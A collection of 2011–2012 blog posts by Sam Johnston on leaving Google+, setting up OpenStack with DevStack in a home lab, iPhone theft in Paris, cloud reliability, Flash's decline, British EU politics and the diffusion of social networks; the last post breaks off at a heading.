Sam Johnston

Leaving Google+

samj@samj.net (Sam Johnston) — Wed, 16 May 2012 09:20:36 PDT

Ironically many Google employees have even given up on Google+
(though plenty still post annoying "Moved to Google+" profile pics on other social networks)

One of those sneaky tweets that links to Google+ just tricked me into wading back into the swamp that it's become, hopefully for the last time (I say "hopefully" because in all likelihood I'll be forced back onto it at some point — it's already apparently impossible to create a Google Account for any Google services without also landing yourself a Google+ profile and Gmail account and it's very likely that the constant prompting for me to "upgrade" to Google+ will be more annoying than the infamous red notification box). Here's what I saw in my stream:

20 x quotes/quotepics/comics
8 x irrelevant news articles & opeds
1 x PHP code snippet
3 x blatant ads
2 x Google+ fanboi posts (including this little chestnut: "Saying nobody uses Google+ is like a virgin saying sex is boring. They've never actually tried it." — you just failed at life by comparing Google+ to sex my friend).
2 x random photos

That's pretty much 0% signal and 100% noise, and before you jump down my throat about who I'm following, it's a few hundred generally intelligent people (though I note it is convenient that the prevalent defense for Google+ being a ghost town, or worse, a cesspool, is that your experience depends not only on who you're following, but what they choose to share with you — reminds me of the kind of argument you regularly hear from religious apologists).

Google+ Hangouts

My main gripe with Google+ this week though was the complete failure of Google+ Hangouts (which should arguably be an entirely separate product) for Rishidot Research's Open Conversations: Cloud Transparency on Monday. The irony of holding an open/transparency discussion on a close platform aside, we were plagued with technical problems from the outset. First it couldn't find my MacBook Air's camera so I had to move from my laptop to my iMac (which called for heavy furniture to be moved to get a clean background). When I joined we started immediately (albeit late, and sans 2-3 of the half dozen attendees), but it wasn't long before one of the missing attendees joined and repeatedly interrupted the first half of the meeting with audio problems. The final attendee never managed to join, though their name and a blank screen appeared each of the 5-10 times they tried. We then inexplicably lost two attendees, and by the time they managed to re-join I too got a "Network failure for media packets" error:

Then there was "trouble connecting with the plugin", which called for me to refresh the page and then reinstall the plugin:

Eventually I made it back in, only to discover that we had now lost the host(!?!) and before long it was down to just me and one other attendee. We struggled through the last half of the hour but it was only afterwards that we discovered we were talking to ourselves because the live YouTube stream and recording stopped when the host was kicked out. Needless to say, Google+ Hangouts are not ready for the prime time, and if you invite me to join one then don't be surprised if I refer you to this article.

Hotel California

To leave Google+ head over to Google Takeout and download your Circles (I grabbed data for other services too for good measure, and exported this blog separately since my profile is now Google+ integrated). You might want to see who's following you, Actions->Select All and dump them into a circle first, otherwise you'll probably lose that information when you close your account.

When you go to the Google+ "downgrade" page and select "Delete your entire Google profile" you'll get a sufficiently complicated warning as to scare most people back into submission, but the most concerning part for me was this unhelpful help advising "Other Google products which require a profile will be impacted":

Fortunately for YouTube and Blogger at least you can check and revert your decision to use a Google+ profile respectively, but you'll immediately be told to "Connect to Google+" once you unplug:

After that it's just a case of checking "I understand that deleting this service can't be undone and the data I delete can't be restored." and clicking "Remove selected services" (what "selected services"? I just want to be rid of Google+!). I'll let you know how that goes once my friends on Google+ have had a chance to read this.

Getting started with OpenStack in your lab

samj@samj.net (Sam Johnston) — Sat, 05 May 2012 08:10:57 PDT

Having recently finished building my new home lab I wanted to put the second server to good use by installing OpenStack (the first is running VMware ESXi 5.0 with Windows 7, Windows 8, Windows 8 Server and Ubuntu 12.04 LTS virtual machines). I figured many of you would benefit from a detailed walkthrough so here it is (without warranty, liability, support, etc).

The two black boxes on the left are HP Proliant MicroServer N36L's with modest AMD Athlon(tm) II Neo 1.3GHz dual-core processors and 8GB RAM and the one on the right is an iomega ix4-200d NAS box providing 8TB of networked storage (including over iSCSI for ESXi should I run low on direct attached storage). There's a 5 port gigabit switch stringing it all together and a 500Mbps CPL device connecting it back up the house. You should be able to set all this up inside 2 grand. Before you try to work out where I live, the safe is empty as I don't trust electronic locks.

Download Ubuntu Server (12.04 LTS or the latest long term support release) and write it to a USB key — if you're a Mac OS X only shop then you'll want to follow these instructions. Boot your server with the USB key inserted and it should drop you straight into the installer (if not you might need to tell the BIOS to boot from USB by pressing the appropriate key, usually F2 or F10, at the appropriate time). Most of the defaults are OK but you'll probably want to select the "OpenSSH Server" option in tasksel unless you want to do everything from the console, but be sure to tighten up the default configuration if you care about security. Unless you like mundane admin tasks then you might want to enable automatic updates too. Even so let's ensure any updates since release have been applied:

sudo apt-get update

sudo apt-get -u upgrade

Next you'll want to install DevStack ("a documented shell script to build complete OpenStack development environments from RackSpace Cloud Builders"), but first you'll need to get git:

sudo apt-get install git

Now grab the latest version of DevStack from GitHub:

git clone git://github.com/openstack-dev/devstack.git

And run the script:

cd devstack/; ./stack.sh

The first thing it will do is ask you for passwords for MySQL, Rabbit, a SERVICE_TOKEN and SERVICE_PASSWORD and finally a password for Horizon & Keystone. I used the (excellent) 1Password to generate passwords like "sEdvEuHNNeA7mYJ8Cjou" (the script doesn't like special characters) and stored them in a secure note.

The script will then go and download dozens of dependencies, which are conveniently packaged by Ubuntu and/or the upstream Debian distribution, run setup.py for a few python packages, clone some repositories, etc. While you wait you may as well go read the script to understand what's going on. At this point the script failed because /opt/stack/nova didn't exist. I filed bug 995078 but the script succeeded when I ran it for a second time — looks like it may have been a glitch with GitHub.

You should end up with something like this:

Horizon is now available at http://10.0.1.10/
Keystone is serving at http://10.0.1.10:5000/v2.0/
Examples on using novaclient command line is in exercise.sh
The default users are: admin and demo
The password: qqG6YTChVLzEHfTDzm8k
This is your host ip: 10.0.1.10
stack.sh completed in 431 seconds.

If you browse to that address you'll be able to log in to the console:

That will drop you into the Admin section of the OpenStack Desktop (Horizon) where you can get an overview and administer instances, services, flavours, images, projects, users and quotas. You can also download OpenStack and EC2 credentials from the "Settings" pages.

Switch over to the "Project" tab and "Create Keypair" under "Access & Security" (so you can access any instances you create):

The key pair will be created and downloaded as a .pem file (e.g. admin.pem).

Now select "Images & Snapshots" under "Manage Compute" you'll be able to launch the cirros-0.3.0-x86_64-uec image which is included for testing. Simply click "Launch" under "Actions":

Give it a name like "Test", select the key pair you created above and click "Launch Instance":

You'll see a few tasks executed and your instance should be up and running (Status: Active) in a few seconds:

Now what? First, try to ping the running instance from within the SSH session on the server (you won't be able to ping it from your workstation):

$ ping 10.0.0.2
PING 10.0.0.2 (10.0.0.2) 56(84) bytes of data.
64 bytes from 10.0.0.2: icmp_req=1 ttl=64 time=0.734 ms
64 bytes from 10.0.0.2: icmp_req=2 ttl=64 time=0.585 ms
64 bytes from 10.0.0.2: icmp_req=3 ttl=64 time=0.588 ms

Next let's copy some EC2 credentials over to our user account on the server so we can use the command line euca-* tools. Go to "Settings" in the top right and then the "EC2 Credentials" tab. Now "Download EC2 Credentials", which come in the form of a ZIP archive containing an X.509 certificate (cert.pem) and key (pk.pem) pair as well as a CA certificate (cacert.pem) and an rc script (ec2rc.sh) to set various environment variables which tell the command line tools where to find these files:

While you're at it you may as well grab your OpenStack Credentials which come in the form of an rc script (openrc.sh) only. It too sets environment variables which can be seen by tools running under that shell.

Let's copy them (and the key pair from above) over from our workstation to the server:

scp b34166e97765499b9a75f59eaff48b98-x509.zip openrc.sh admin.pem samj@10.0.1.10:~

Stash the EC2 credentials in ~/.euca:

mkdir ~/.euca; chmod 0700 ~/.euca; cd ~/.euca

cp ~/b34166e97765499b9a75f59eaff48b98-x509.zip ~/.euca; unzip *.zip

Finally let's source the rc scripts:

source ~/.euca/ec2rc.sh

source ~/openrc.sh

You'll see the openrc.sh script asks you for a password. Given this is a dev/test environment and we've used a complex password, let's modify the script and hard code the password by commenting out the last 3 lines and adding a new one to export OS_PASSWORD:

# With Keystone you pass the keystone password.
#echo "Please enter your OpenStack Password: "
#read -s OS_PASSWORD_INPUT
#export OS_PASSWORD=$OS_PASSWORD_INPUT
export OS_PASSWORD=qqG6YTChVLzEHfTDzm8k

You probably don't want anyone seeing your password or key pair so let's lock down those files:

chmod 0600 ~/openrc.sh ~/admin.pem

Just make sure the environment variables are set correctly:

echo $EC2_USER_ID
42
echo $OS_USERNAME
admin

Finally we should be able to use the EC2 command line tools:

euca-describe-instances 
RESERVATION r-8wvdh1c7 b34166e97765499b9a75f59eaff48b98 default
INSTANCE i-00000001 ami-00000001 test test running None (b34166e97765499b9a75f59eaff48b98, ubuntu) 0 m1.tiny 2012-05-05T13:59:47.000Z nova aki-00000002 ari-00000003 monitoring-disabled 10.0.0.2 10.0.0.2 instance-store

As well as the openstack command:

openstack list server
+--------------------------------------+------+--------+------------------+
| ID | Name | Status | Networks |
+--------------------------------------+------+--------+------------------+
| 44a43355-7f95-4621-be61-d34fe53e50a8 | Test | ACTIVE | private=10.0.0.2 |
+--------------------------------------+------+--------+------------------+

You should be able to ssh to the running instance using the IP address and key pair from above:

ssh -i admin.pem -l cirros 10.0.0.2
$ uname -a
Linux cirros 3.0.0-12-virtual #20-Ubuntu SMP Fri Oct 7 18:19:02 UTC 2011 x86_64 GNU/Linux

That's all for today — I hope you find the process as straightforward as I did and if you do follow these instructions then please leave a comment below (especially if you have any tips or solutions to problems you run into along the way).

Is carrying an iPhone worth the risk?

samj@samj.net (Sam Johnston) — Wed, 21 Mar 2012 04:41:37 PDT

Yesterday I was robbed of my brand new iPhone (S/N: DNPGQ4RDDTDM IMEI: 013032008785006 ) for the second time, in public, in Paris. While I'm still a little shaken, angry and disappointed, I'm glad everyone survived unscathed... this time (last time I was assaulted in the process).

These less fortunate victims of crime lost their lives over iPhones, in the course of a robbery, in trying to retrieve the stolen device and as an innocent bystander respectively:

The latter story (around this time last year), in which a 68 year old woman was pushed down a flight of stairs in a Chicago subway station by the fleeing thief only to die later of head injuries, is almost identical to a robbery in Paris in which a young woman also died of head injuries only weeks prior:

Murder in the Paris Subway

Paris police data from that period showed that 53 percent of 1,071 violent thefts on Paris public transport involved smartphones, and the last two models of iPhones accounted for almost 28 percent of items stolen on public transport. The Interior Minister was at the time seeking faster efforts to allow smartphone owners to “block” stolen phones, disabling calling functions to make them worthless in the resale market as a deterrent to theft. “It will be naturally much less attractive” to steal a phone that can be de-activated remotely, he noted, adding that “we have the technical means to deter thieves”. And yet the grey market for iPhones is obviously still alive and well some 18 months later, in no small part because the parties with the capability to solve the problem (carriers, manufacturers, etc.) lack the interest (stolen phones drive new sales).

This brings me to the point of this post — finding a technical solution to solve the problem once and for all. Indeed, if a smartphone can be "bricked" then its resale value is severely limited. Most efforts today involve blacklisting the IMEI number such that the phone cannot be used on the networks in that country, but this usually takes time as it has to be done securely (typically by the operator from which it was purchased, and only after receiving a police report — too bad for those of us who purchase outright from a retailer!). A few days is long enough for the thief to sell the phone, only to have the buyer find it stop working some time later, thus creating another victim of crime (albeit someone guilty of receiving stolen goods, and in doing so driving demand!). Unless the database is global (which gives rise to other problems including distributed trust, denial of service, duplicated IMEIs, equipment limitations, etc.) then the thief can just sell it into another market, especially here in Europe, or swap it.

Enter Apple, who already have (and heavily advertise) the capability to securely locate, message and wipe the device (should it be able to reach the Internet — too bad if you're roaming and have data disabled, and care about security and have auto join networks disabled, as I did!). Their trivial restore process (which makes iPhones extremely, and I would argue unnecessarily, transferable) also apparently involves a handshake with Apple servers, so who better to "brick" stolen devices by preventing them from being restored until returned? This would make it essentially impossible for anyone but the legitimate owner of the device to make use of it, thereby destroying the market and going from the most attractive to least attractive smartphone for thieves overnight. Sure you could argue that it's not their problem, but unlike the police they have the capability (and I would argue the interest) to put an end to it once and for all.

I for one will be seriously reconsidering the cost vs benefit of carrying a device that others value more than my own life, and I'm sure that the benefit of a "Remote Disable" function in competitive advantage would outstrip the profit from replacement of stolen devices, so it's not just about doing the right thing.

Update: Brian Katz points out that the thief need only enter the wrong PIN 10 times and then the iPhone will factory reset itself (depending on settings), no need for iTunes restore!

P.S. Here's some advice on protecting your iPhone as well as some tips for avoiding pickpockets in Paris from TripAdvisor and the US Embassy.

Simplifying cloud: Reliability

samj@samj.net (Sam Johnston) — Thu, 08 Mar 2012 04:39:21 PST

The original Google server rack

Reliability in cloud computing is a very simple concept which I've explained in many presentations but never actually documented:

Traditional legacy IT systems consist of relatively unreliable software (Microsoft Exchange, Lotus Notes, Oracle, etc.) running on relatively reliable hardware (Dell, HP, IBM servers, Cisco networking, etc.). Unreliable software is not designed for failure and thus any fluctuations in the underlying hardware platform (including power and cooling) typically result in partial or system-wide outages. In order to deliver reliable service using unreliable software you need to use reliable hardware, typically employing lots of redundancy (dual power supplies, dual NICs, RAID arrays, etc.). In summary:

unreliable software
reliable hardware

Cloud computing platforms typically prefer to build reliability into the software such that it can run on cheap commodity hardware. The software is designed for failure and assumes that components will misbehave or go away from time to time (which will always be the case, regardless of how much you spend on reliability - the more you spend the lower the chance but it will never be zero). Reliability is typically delivered by replication, often in the background (so as not to impair performance). Multiple copies of data are maintained such that if you lose any individual machine the system continues to function (in the same way that if you lose a disk in a RAID array the service is uninterrupted). Large scale services will ideally also replicate data in multiple locations, such that if a rack, row of racks or even an entire datacenter were to fail then the service would still be uninterrupted. In summary:

reliable software
unreliable hardware

Asked for a quote for Joe Weinman's upcoming Cloudonomics: The Business Value of Cloud Computing book, I said:

"The marginal cost of reliable hardware is linear while the marginal cost of reliable software is zero."

That is to say, once you've written reliability into your software you can scale out with cheap hardware without spending more on reliability per unit, while if you're using reliable hardware then each unit needs to include reliability (typically in the form of redundant components), which quickly gets very expensive.
The other two permutations are ineffective:

Unreliable software on unreliable hardware gives an unreliable system. That's why you should never try to install unreliable software like Microsoft Exchange, Lotus Notes, Oracle etc. onto unreliable hardware like Amazon EC2:

unreliable software
unreliable hardware

Finally, reliable software on reliable hardware gives a reliable but inefficient and expensive system. That's why you're unlikely to see reliable software like Cassandra running on reliable platforms like VMware with brand name hardware:

reliable software
reliable hardware

Google enjoyed a significant competitive advantage for many years by using commodity components with a revolutionary proprietary software stack including components like the distributed Google File System (GFS). You can still see Google's original hand-made racks built with motherboards laid on cork board at their Mountain View campus and the computer museum (per image above), but today's machines are custom made by ODMs and are a lot more advanced. Meanwhile Facebook have decided to focus on their core competency (social networking) and are actively commoditising "unreliable" web scale hardware (by way of the Open Compute Project) and software (by way of software releases, most notably the Cassandra distributed database which is now used by services like Netflix).

The challenge for enterprises today is to adopt cheap reliable software so as to enable the transition away from expensive reliable hardware. That's easier said than done, but my advice to them is to treat this new technology as another tool in the toolbox and use the right tool for the job. Set up cloud computing platforms like Cassandra and OpenStack and look for "low-hanging fruit" to migrate first, then deal with the reticent applications once the "center of gravity" of your information technology systems has moved to cloud computing architectures.

P.S. Before the server huggers get all pissy about my using the term "relatively unreliable software", this is a perfectly valid way of achieving a reliable system — just not a cost effective one now "relatively reliable software" is here.

Cloud computing's concealed complexity

samj@samj.net (Sam Johnston) — Mon, 09 Jan 2012 00:53:16 PST

James Urquhart claims Cloud is complex—deal with it, adding that "If you are looking to cloud computing to simplify your IT environment, I’m afraid I have bad news for you" and citing his earlier CNET post drawing analogies to a recent flash crash.

Cloud computing systems are complex, in the same way that nuclear power stations are complex — they also have catastrophic failure modes, but given cloud providers rely heavily on their reputations they go to great lengths to ensure continuity of service (I was previously the technical program manager for Google's global tape backup program so I appreciate this first hand). The best analogies to flash crashes are autoscaling systems making too many (or too few) resources available and spot price spikes, but these are isolated and there are simple ways to mitigate the risk (DDoS protection, market limits, etc.)

Fortunately this complexity is concealed behind well defined interfaces — indeed the term "cloud" itself comes from network diagrams in which complex interconnecting networks became the responsibility of service providers and were concealed by a cloud outline. Cloud computing is, simply, the delivery of information technology as a service rather than a product, and like other utility services there is a clear demarcation point (the first socket for telephones, the meter for electricity and the user or machine interface for computing).

Everything on the far side of the demarcation point is the responsibility of the provider, and users often don't even know (nor do they need to know) how the services actually work — it could be an army of monkeys at typewriters for all they care. Granted it's often beneficial to have some visibility into how the services are provided (in the same way that we want to know our phone lines are secure and power is clean), but we've developed specifications like CloudAudit to improve transparency.

Making simple topics complex is easy — what's hard is making complex topics simple. We should be working to make cloud computing as approachable as possible, and drawing attention to its complexity does not further that aim. Sure there are communities of practitioners who need to know how it all works (and James is addressing that community via GigaOm), but consumers of cloud services should finally be enabled to apply information technology to business problems, without unnecessary complexity.

If you find yourself using complex terminology or unnecessary acronyms (e.g. anything ending with *aaS) then ask yourself if you're not part of the problem rather than part of the solution.

Flash/Silverlight: How much business can you afford to turn away?

samj@samj.net (Sam Johnston) — Mon, 09 Jan 2012 00:00:00 PST

Tim Anderson was asking about the future of Silverlight on Twitter today so here are my thoughts on the subject, in the context of earlier posts on the future of Flash:

2009: Why Adobe Flash penetration is more like 50% than 99%
2010: Face it Flash, your days are numbered.
2011: RIP Adobe Flash (1996-2011) - now let's bury the dead

In the early days of the Internet, a lack of native browser support for "advanced" functionality (particularly video) created a vacuum that propelled Flash to near ubiquity. It was the only plugin to achieve such deep penetration, though I would argue never as high as 99% (which Adobe laughably advertise to this day). As a result, developers were able to convince clients to adopt the platform for all manner of interactive sites (including, infamously, many/most restaurants).

The impossible challenge for proprietary browser plugins is staying up-to-date and secure across a myriad hardware and software platforms — it was hard enough trying to support multiple browsers on multiple versions of Windows on one hardware platform (x86), but with operating systems like Linux and Mac OS X now commanding non-negligible shares of the market it's virtually impossible. Enter mobile devices, which by Adobe's own reckoning outnumber PCs by 3 to 1. Plugin vendors now have an extremely diverse ecosystem of hardware (AMD, Intel, etc.) and software (Android, iOS, Symbian, Windows Phone 7, etc.) and an impossibly large number of permutations to support. Meanwhile browser engines (e.g. WebKit, which is the basis for Safari and Chrome on the desktop and iOS, Android and webOS on mobile devices) have added native support for the advanced features whose absence created a demand for Flash.

Unsurprisingly, not only is Flash in rapid decline — as evidenced by Adobe recently pulling out of the mobile market (and thus 3 in 4 devices) — but it would be virtually impossible for any competitor to reach its level of penetration. As such, Silverlight had (from the outset) a snowflake's chance in hell of achieving an "acceptable" level of penetration.

What's an "acceptable level of penetration" you ask? That's quite simple — it's the ratio of customers that businesses are prepared to turn away in order to access "advanced" functionality that is now natively supported in most browsers. At Adobe's claimed 99% penetration you're turning away 1 in 100 customers. At 90% you're turning away 1 in 10. According to http://riastats.com, if you're deploying a Flash site down under then you're going to be turning away 13%, or a bit more than 1 in 8. For Silverlight it's even worse — almost half of your customers won't even get to see your site without having to install a plugin (which they are increasingly less likely to do).

How much revenue can your business tolerate losing? 1%? 10%? 50%? And for what benefit?

A word on the future of Europe (without the United Kingdom)

samj@samj.net (Sam Johnston) — Sat, 10 Dec 2011 01:59:39 PST

It's rare that I rant about politics but given the train wreck that we've woken up to here in Europe I thought I'd make the exception as this is important for all of us — both here in the 27 member European Union (technically while part of Europe, Switzerland's not part of the European Union nor the 17 member Eurozone as it has its own currency, but we're landlocked by it and affected by its instability) as well as abroad, including the United States.

I'm no expert on European politics, but having been a resident of the region for almost a decade now and lived and/or worked in three member states (in addition to Switzerland) I have the unusual advantage of having seen it from many angles:

From Ireland, which has been (and is to this day) a benefactor of the union by way of support for its relatively small economy and its inexplicably generous 12.5% corporate tax rate.
From France, which along with Germany is one of the powerhouses of the European economy with the most to lose if things go awry.
From Switzerland, which is an independent, neutral country that happens to be in the center of Europe and only recently joined the Schengen Agreement (relaxing its borders with France, Germany, Austria and Italy).
From the United Kingdom, which is a member state outside of the Eurozone with its own currency (British Pounds) that is isolated from the mainland by sea and apparently sees this as a reason to get special treatment.

The United Kingdom is a large and important economy in the zone, but even down to the grassroots level they see themselves as independent and assess every single decision solely on the basis of what it will do for them — there are regularly mini scandals in the papers about their relationship with their fellow Europeans (who are typically seen to be somehow benefiting at their expense). This shortsighted tweet captures the sentiment nicely:

So #Cameron calls the Franco-German bluff over the #Eurozone anyone know how many £m per day we could save if we left the #EU?
— :0) (@VoiceOfMarmite) December9, 2011

As a prime example, the Common Agricultural Policy which is designed "to provide farmers with a reasonable standard of living, consumers with quality food at fair prices and to preserve rural heritage", tends to redistribute funds from more urbanised countries like the Netherlands and the United Kingdom to those where agriculture actually takes place. It's an important (albeit changing) function and it commands almost half of the EU's budget.

Another example of unnecessary friction is their [self-]exclusion from the Schengen Agreement, which creates a borderless area within Europe, thus facilitating transport and commerce. You still have to pass border control when you enter or leave the Schengen area, including when traveling to/from the Common Travel Area (consisting only of the United Kingdom and Ireland, which are connected on the island of Ireland by the border between the Republic of Ireland and Northern Ireland), but you can travel freely within it once you're there and there are visas which cover the entire region.

Cutting to the chase, it is of no surprise then that the brits would be stubborn when it came to changing the treaty by unanimous vote — indeed I've been predicting that for a while and was certain it would happen a few days ago. What is a surprise though is just how belligerent and childish they've been about it — as a frenchman said in reference to the following video from The Telegraph's excellent article EU suffers worst split in history as David Cameron blocks treaty change:

Cameron is making Sarkozy look like a statesman. Quite an achievement.
— William Vambenepe (@vambenepe) December9, 2011

Another user tweeted:

David Cameron tends to sound like he's explaining things to very small children "& that's why I had to send the dog to live on a farm..."
— Sarah Connolly (@_Pigeons_) December9, 2011

Also retweeting:

"Safeguard the interests of the city" makes me bloody mad. They're the c***s who got us in this mess, why are we protecting them?
— Bill Wilkinson (@DrBillyo) December9, 2011

A fair question if you ask me (and if the language upsets you more than the situation itself then you might want to reconsider your priorities). Others agreed:

So Cameron isolates the UK politically through lack of diplomatic sophistication and schoolboy immaturity. The French played him well...
— Deep thought (@allaboutbrains) December9, 2011

And:

David Cameron really has a knack of isolating himself from every1 in the world and he's bringing UK down with him. Cut the cord on Cameron
— Chris Carruthers (@chriscar93) December9, 2011

I think Simon Wardley sums it up nicely though:

Cameron has no right to relegate UK & hence my son's future to a 2nd tier of Europe just to please the city - bbc.in/w0Z5y5. #tosser
— swardley (@swardley) December9, 2011

From my point of view the brits are [allowing their representatives to get away with] acting like petulant children, benefiting from the European Union when it suits them, and taking their toys home when it doesn't. Their argument that the very establishment that got us into this mess must absolutely be protected above all else is weak — and that it is in the interests of the city, let alone the entire country, deceptive.

They "very doggedly" (their words) sought "a 'protocol' giving the City of London protection from a wave of EU financial service regulations related to the eurozone crisis". That's right, they didn't want to play by the same rules as everyone else, and exercised their veto when it became apparent that was the only option.

To add insult to injury, they "warned the new bloc that it would not be able to use the resources of the EU, raising real doubts as to whether the eurozone would be able to enforce fiscal rules in order to calm the markets". So not only are they going to not participate in cleaning up the mess they played a key role in creating, but they're going to do their best to make sure nobody else can either.

Fortunately there's light at the end of the tunnel: "Cameron was clumsy in his manoeuvring," a senior EU diplomat said. “It may be possible that Britain will shift its position in the days ahead if it discovers that isolation really is not a viable course of action.” Please take a moment today to express your discontent with this decision as sometimes in order to serve your own interests you also need to consider those of others — in much the same way as the tragedy of the commons (where in this case the commons is the European and global markets).

Update: Another great [opinion] piece from The Telegraph: Cameron: the bulldog has no teeth:

Cameron (and Britain) are now in a no-win situation. If the eurozone countries start to rally, then we shall be isolated from the new bloc and stuck in the slow lane of Europe. Should the euro problems deepen, then we shall bear the consequences in full. As George Osborne has indicated, a disorderly collapse of the euro would drag a voiceless Britain into depression.
...
In France and Germany, Cameron will be blamed for exacerbating a crisis by leaders who will brand him the pariah of Europe. Overnight, Britain has changed from a major player to an isolated outpost which, if this goes on, will become about as significant on the global stage as the Isle of Mull. Churchill would be turning in his grave.

Related:

Infographic: Diffusion of Social Networks — Facebook, Twitter, LinkedIn and Google+

samj@samj.net (Sam Johnston) — Wed, 23 Nov 2011 12:04:43 PST

Social networking market

They say a picture's worth a thousand words and much digital ink has been spilled recently on impressive sounding (yet relatively unimpressive) user counts, so here's an infographic showing the diffusion of social networks as at last month to put things in perspective.

There are 7 billion people on the planet, of which 2 billion are on the Internet. Given Facebook are now starting to make inroads into the laggards (e.g. parents/grandparents) with 800 million active users already under their belt, I've assumed that the total addressable market (TAM) for social media (that is, those likely to use it in the short-medium term) is around a billion Internet users (i.e. half) and growing — both with the growth of the Internet and as growing fraction of Internet users. That gives social media market shares of 80% for Facebook, 20% for Twitter and <5% for Google+. In other words, Twitter is 5x the size of Google+ and Facebook is 4x the size of Twitter (e.g. 20x the size of Google+).

It's important to note that while some report active users, Google report total (e.g. best case) users — only a percentage of the total users are active at any one time. I'm also hesitant to make direct comparisons with LinkedIn as while everyone is potentially interested in Facebook, Twitter and Google+, the total addressable market for a professional network is limited, by definition, to professionals — I would say around 200 million and growing fast given the penetration I see in my own professional network. This puts them in a similar position to Facebook in this space — up in the top right chasing after the laggards rather than the bottom left facing the chasm.

Diffusion of innovations

The graph shows Rogers' theory on the diffusion of innovations, documented in The Innovator's Dilemma, where diffusion is the process by which an innovation is communicated through certain channels over time among the members of a social system. There are 5 stages:

Knowledge is when people are aware of the innovation but don't know (and don't care) about it.
Persuasion is when people are interested in learning more.
Decision is when people decide to accept or reject it.
Implementation is when people employ it to some degree for testing (e.g. create an account).
Confirmation is when people finally decide to use it, possibly to its full potential.

I would suggest that the majority of the total addressable market are at stage 1 or 2 for Google+ and Twitter, and stage 4 or 5 for Facebook and LinkedIn (with its smaller TAM). Of note, users' decisions to reject an innovation at the decision or implementation phase may be semi-permanent — to quote Slate magazine's Google+ is Dead article, "by failing to offer people a reason to keep coming back to the site every day, Google+ made a bad first impression. And in the social-networking business, a bad first impression spells death." The same could be said for many users of Twitter, who sign up but fail to engage sufficiently to realise its true value. Facebook, on the other hand, often exhibits users who leave only to subsequently return due to network effects.

Social networking is also arguably a natural monopoly given, among other things, dramatically higher acquisition costs once users' changing needs have been satisfied by the first mover (e.g. Facebook). Humans have been using social networking forever, only until recently it's been manual and physiologically limited to around 150 connections (Dunbar's number, named after British anthropologist Robin Dunbar). With the advent of technology that could displace traditional systems like business cards and rolodexes came a new demand for pushing the limits for personal and professional reasons — I use Facebook and LinkedIn extensively to push Dunbar's number out an order of magnitude to ~1,500 contacts for example, and Twitter to make new contacts and communicate with thousands of people. I don't want to maintain 4 different social networks any more than I want to have to search 4 different directories to find a phone number — I already have 3 which is 2 too many!

Rogers' 5 factors

How far an innovation ultimately progresses depends on 5 factors:

Relative Advantage — Does it improve substantially on the status quo (e.g. Facebook)?
Compatibility — Can it be easily assimilated into an individual's life?
Simplicity or Complexity — Is it too complex for your average user?
Trialability — How easy is it to experiment?
Observability — To what extent is it visible to others (e.g. for viral adoption)

Facebook, which started as a closed community at Harvard and other colleges and grew from there, obviously offered significant relative advantage over MySpace. I was in California at the time and it seemed like everyone had a MySpace page while only students (and a few of us in local/company networks) had Facebook. It took off like wildfire when they solved the trialability problem by opening the floodgates and a critical mass of users was quickly drawn in due to the observability of viral email notifications, the simplicity of getting up and running and the compatibility with users' lives (features incompatible with the unwashed masses — such as the egregiously abused "how we met" form — are long gone and complex lists/groups are there for those who need them but invisible to those who don't). Twitter is also trivial to get started but can be difficult to extract value from initially.

Network models

Conversely, the complexity of getting started on Google+ presents a huge barrier to entry and as a result we may see the circles interface buried in favour of a flat "follower" default like that of Twitter (the "suggested user list" has already appeared), or automated. Just because our real-life social networks are complex and dynamic does not imply that your average user is willing to invest time and energy in maintaining a complex and dynamic digital model. The process of sifting through and categorising friends into circles has been likened to the arduous process of arranging tables for a wedding and for the overwhelming majority of users it simply does not offer a return on investment:

In reality we're most comfortable with concentric rings, which Facebook's hybrid model recently introduced by way of "Close Friends", "Acquaintances" and "Restricted" lists (as well as automatically maintained lists for locations and workplaces — a feature I hope gets extended to other attributes). By default Facebook is simple/flat — mutual/confirmed/2-way connections are "Friends" (though they now also support 1-way follower/subscriber relationships ala Twitter). Concentric rings then offer a greater degree of flexibility for more advanced users and the most demanding users can still model arbitrarily complex networks using lists:

In any case, if you give users the ability to restrict sharing you run the risk of their actually using it, which is a sure-fire way to kill off your social network — after all, much of the value derived from networks like Facebook is from "harmless voyeurism". That's why Google+ is worse than a ghost town for many users (including myself, though as a Google Apps users I was excluded from the landrush phase) while being too noisy for others. Furthermore, while Facebook and Twitter have a subscribe/follow ("pull") model which allows users to be selective of what they hear, when a publisher shares content with circles on Google+ other users are explicitly notified ("push") — this is important for "observability" but can be annoying for users.

Nymwars

The requirement to provide and/or share your real name, sex, date of birth and a photo also presents a compatibility problem with many users' expectations of privacy and security, as evidenced by the resulting protests over valid use cases for anonymity and pseudonymity. For something that was accepted largely without question with Facebook, the nymwars appear to have caused irreparable harm to Google+ in the critically important innovator and early adopter segments, for reasons that are not entirely clear to me. I presume that there is a greater expectation of privacy for Google (to whom people entrust private emails, documents, etc.) than for Facebook (which people use specifically and solely for controlled sharing).

Adopter categories

Finally, there are 5 classes of adopters (along the X axis) varying over time as the innovation attains deeper penetration:

Innovators (the first 2.5%) are generally young, social, ~~wealthy~~, risk tolerant individuals who adopt first.
Early Adopters (the next 13.5%) are opinion leaders who adopt early enough (but not too early) to maintain a central communication position.
Early Majority (the next 34%, to 50% of the population) take significantly longer to adopt innovations.
Late Majority (the next 34%) adopt innovations after the average member of society and tend to be highly sceptical.
Laggards (the last 16%) show little to no opinion leadership and tend to be older, more reclusive and have an aversion to change-agents.

I've ruled out wealth because while buying an iPhone is expensive (and thus a barrier to entry), signing up for a social network is free.

The peak of the bell curve is the point at with the average user (e.g. 50% of the market) has adopted the technology, and it is very difficult both to climb the curve as a new technology and to displace an existing technology that is over the hump.

The Chasm

The chasm (which exists between Early Adopters and Early Majority i.e. at 16% penetration), refers to Moore's argument in Crossing the Chasm that there is a gap between early adopters and the mass market which must be crossed by any innovation which is to be successful. Furthermore, thanks to accelerating technological change they must do so within an increasingly limited time for fear of being equaled by an incumbent or disrupted by another innovation. The needs of the mass market differ — often wildly — from the needs of early adopters and innovations typically need to adapt quickly to make the transition. I would argue that MySpace, having achieved ~75 million users at peak, failed to cross the chasm by finding appeal in the mass market (ironically due in no small part to their unfettered flexibility in customising profiles) and was disrupted by Facebook. Twitter on the other hand (with some 200 million active users) has crossed the chasm, as evidenced by the presence of mainstream icons like Bieber, Spears and Obama as well as their fans. LinkedIn (for reasons explained above) belongs at the top right rather than the bottom left.

Disruptive innovations

